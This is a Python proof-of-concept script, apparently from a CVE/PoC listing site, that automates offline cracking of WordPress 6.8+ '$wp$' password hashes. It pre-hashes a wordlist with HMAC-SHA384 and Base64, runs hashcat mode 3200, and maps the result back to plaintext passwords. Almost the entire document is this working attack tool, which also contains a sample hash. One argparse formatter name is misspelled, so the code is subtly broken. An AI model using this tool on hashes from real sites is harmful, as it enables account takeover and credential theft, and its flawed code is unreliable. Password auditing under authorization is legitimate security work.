5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / Auto_Crack.py PY
#!/usr/bin/env python3
"""
=============================================================================
WordPress 6.8+ Automated Hash Cracker
=============================================================================
Author:       [n3fhara]
Date:         2026-03-18
Version:      1.0

Description:
------------
This script automates the offline cracking process for the new WordPress 6.8+ 
password hashes. The new format ("$wp$...") involves a complex pipeline:
1. PHP trim() simulation.
2. HMAC-SHA384 pre-hashing using the salt 'wp-sha384'.
3. Base64 encoding.
4. Bcrypt hashing.

This script bridges the gap between raw wordlists and Hashcat by:
- Normalizing the extracted WordPress hash to a standard Bcrypt format.
- Pre-computing the HMAC-SHA384 stage for the entire wordlist.
- Executing Hashcat (Mode 3200) transparently in the background.
- Mapping the recovered pre-hash back to the plaintext password.

Requirements:
-------------
- Python 3.6+
- Hashcat installed and available in the system PATH.

Usage:
------
python3 Auto_Crack.py -H '\$wp\$2y\$10\$zPA8xGJMvr.kvAAIIYaCreIMnTDpgw/9o8K7.ONBm/KBbNIywQtu.' -w /usr/share/wordlists/rockyou.txt
=============================================================================
"""

import hmac
import hashlib
import base64
import subprocess
import sys
import os
import argparse
import shutil

def parse_args():
    """Parse command line arguments."""
    parser = argparse.ArgumentParser(
        description="Automated Offline Cracker for WordPress 6.8+ Hashes ($wp$2y$10$...)",
        formatter_class=argparse.RawTextHelpHelpFormatter
    )
    
    # Required arguments
    parser.add_argument("-H", "--hash", required=True, 
                        help="The target WordPress hash.\nExample: '$wp$2y$10$...'")
    parser.add_argument("-w", "--wordlist", required=True, 
                        help="Path to the cleartext wordlist (e.g., /usr/share/wordlists/rockyou.txt)")
    
    # Optional arguments for advanced configuration
    parser.add_argument("-O", "--output-dir", default="./wp_crack_temp", 
                        help="Directory to store temporary dictionaries (default: ./wp_crack_temp)")
    parser.add_argument("--keep-files", action="store_true", 
                        help="Do not delete temporary files after cracking finishes")
    
    return parser.parse_args()

def prepare_environment(output_dir):
    """
    Ensure the temporary workspace exists.
    
    Args:
        output_dir (str): Path to the temporary directory.
    """
    if not os.path.exists(output_dir):
        try:
            os.makedirs(output_dir)
        except OSError as e:
            print(f"[-] Error creating directory '{output_dir}': {e}")
            sys.exit(1)

def format_target_hash(raw_hash, target_file):
    """
    Remove the custom '$wp' prefix to generate a valid bcrypt hash for Hashcat.
    
    Args:
        raw_hash (str): The raw hash extracted from the database.
        target_file (str): File path to store the cleaned hash.
        
    Returns:
        str: The cleaned hash string.
    """
    if raw_hash.startswith("$wp"):
        clean_hash = raw_hash[3:]
    else:
        clean_hash = raw_hash
        print("[!] Warning: Hash does not start with '$wp'. Ensure it is a valid WP 6.8+ hash.")

    try:
        with open(target_file, "w", encoding="utf-8") as f:
            f.write(clean_hash + "\n")
    except IOError as e:
        print(f"[-] Error writing target hash file: {e}")
        sys.exit(1)
        
    return clean_hash

def prehash_wordlist(input_dict, output_dict, mapping_file):
    """
    Apply the exact WordPress 6.8 cryptographic logic to the wordlist.
    
    Args:
        input_dict (str): Path to the raw wordlist.
        output_dict (str): Path to output the Base64(HMAC-SHA384) strings.
        mapping_file (str): Path to output the mapping (prehash:plaintext).
    """
    if not os.path.isfile(input_dict):
        print(f"[-] Error: Wordlist '{input_dict}' not found or inaccessible.")
        sys.exit(1)

    print("[*] Generating pre-hashed wordlist (HMAC-SHA384 + Base64)...")
    try:
        with open(input_dict, 'r', encoding='latin-1') as f_in, \
             open(output_dict, 'w', encoding='utf-8') as f_out, \
             open(mapping_file, 'w', encoding='utf-8') as f_map:
            
            for line in f_in:
                original_password = line.strip('\n')
                
                # 1. Simulate PHP's trim() function
                trimmed_password = original_password.strip(' \t\n\r\x0b\x0c')
                
                # 2. WordPress 6.8 HMAC-SHA384 logic using 'wp-sha384' salt
                hmac_obj = hmac.new(b'wp-sha384', trimmed_password.encode('utf-8'), digestmod=hashlib.sha384)
                digest = hmac_obj.digest()
                
                # 3. Base64 encoding
                prehashed = base64.b64encode(digest).decode('utf-8')
                
                f_out.write(prehashed + '\n')
                f_map.write(f"{prehashed}:{original_password}\n")
                
    except Exception as e:
        print(f"[-] Error during dictionary pre-hashing: {e}")
        sys.exit(1)

def run_hashcat(target_file, prehashed_dict, clean_hash):
    """
    Execute Hashcat in a subprocess and parse its output.
    
    Args:
        target_file (str): File containing the target bcrypt hash.
        prehashed_dict (str): File containing the pre-hashed wordlist.
        clean_hash (str): The string value of the target hash.
        
    Returns:
        str or None: The cracked pre-hash string if found, otherwise None.
    """
    print("[*] Launching Hashcat (Mode 3200) in the background. This may take a while...")
    
    cracked_prehash = None
    
    # Step 1: Check if the hash was already cracked in a previous session (Potfile check)
    check_cmd = ["hashcat", "-m", "3200", target_file, "--show"]
    try:
        check_result = subprocess.run(check_cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
    except FileNotFoundError:
        print("[-] Error: 'hashcat' command not found. Ensure it is installed and in your system PATH.")
        sys.exit(1)
        
    if clean_hash in check_result.stdout:
        print("[+] Hash already found in Hashcat potfile!")
        for line in check_result.stdout.split('\n'):
            if clean_hash in line:
                # Extract the pre-hash portion after the colon separator
                cracked_prehash = line.split(':')[-1].strip()
                break
    else:
        # Step 2: Execute actual dictionary attack
        cmd = ["hashcat", "-m", "3200", "-a", "0", target_file, prehashed_dict, "--quiet"]
        result = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
        
        # Hashcat returns 0 on success or sometimes 1 if exhausted. We rely on the output content.
        if result.returncode == 0 or "Cracked" in result.stdout:
            print("[+] Hashcat successfully cracked the target hash!")
            
            # Re-run the --show command to properly extract the found password
            show_result = subprocess.run(check_cmd, stdout=subprocess.PIPE, text=True)
            for line in show_result.stdout.split('\n'):
                if clean_hash in line:
                    cracked_prehash = line.split(':')[-1].strip()
                    break
        else:
            print("[-] Hashcat exhausted the wordlist. Password not found.")
            # Normal exit, but no success
            return None
            
    return cracked_prehash

def reverse_map_password(cracked_prehash, mapping_file):
    """
    Resolve the plaintext password from the mapping file using the cracked pre-hash.
    
    Args:
        cracked_prehash (str): The pre-hash recovered by Hashcat.
        mapping_file (str): The file containing the prehash-to-plaintext relationship.
    """
    print("[*] Resolving plaintext password from mapping file...")
    try:
        with open(mapping_file, 'r', encoding='utf-8') as f_map:
            for line in f_map:
                if line.startswith(cracked_prehash + ":"):
                    # Split only on the first colon to avoid breaking passwords containing colons
                    clear_password = line.split(':', 1)[1].strip('\n')
                    print("\n" + "=" * 50)
                    print(f"[+] SUCCESS! PASSWORD: {clear_password}")
                    print("=" * 50 + "\n")
                    return
                    
        print("[-] Error: Pre-hash found by Hashcat but not present in the mapping file.")
    except Exception as e:
        print(f"[-] Error reading mapping file: {e}")

def cleanup(output_dir):
    """Safely remove the temporary working directory."""
    print("[*] Cleaning up temporary files...")
    try:
        shutil.rmtree(output_dir)
    except OSError as e:
        print(f"[-] Warning: Could not delete temporary directory: {e}")

def main():
    """Main execution flow."""
    args = parse_args()
    
    # Define temporary file paths
    prepare_environment(args.output_dir)
    target_file = os.path.join(args.output_dir, "target.hash")
    prehashed_dict = os.path.join(args.output_dir, "prehashed.dict")
    mapping_file = os.path.join(args.output_dir, "mapping.txt")
    
    try:
        # Execution Pipeline
        clean_hash = format_target_hash(args.hash, target_file)
        prehash_wordlist(args.wordlist, prehashed_dict, mapping_file)
        cracked_prehash = run_hashcat(target_file, prehashed_dict, clean_hash)
        
        if cracked_prehash:
            reverse_map_password(cracked_prehash, mapping_file)
            
    except KeyboardInterrupt:
        print("\n\n[!] Process aborted by user.")
        sys.exit(130)
    finally:
        # Guarantee cleanup even if an error occurs (unless --keep-files is used)
        if not args.keep_files:
            cleanup(args.output_dir)
        else:
            print(f"[*] Temporary files kept in '{args.output_dir}'")

if __name__ == "__main__":
    main()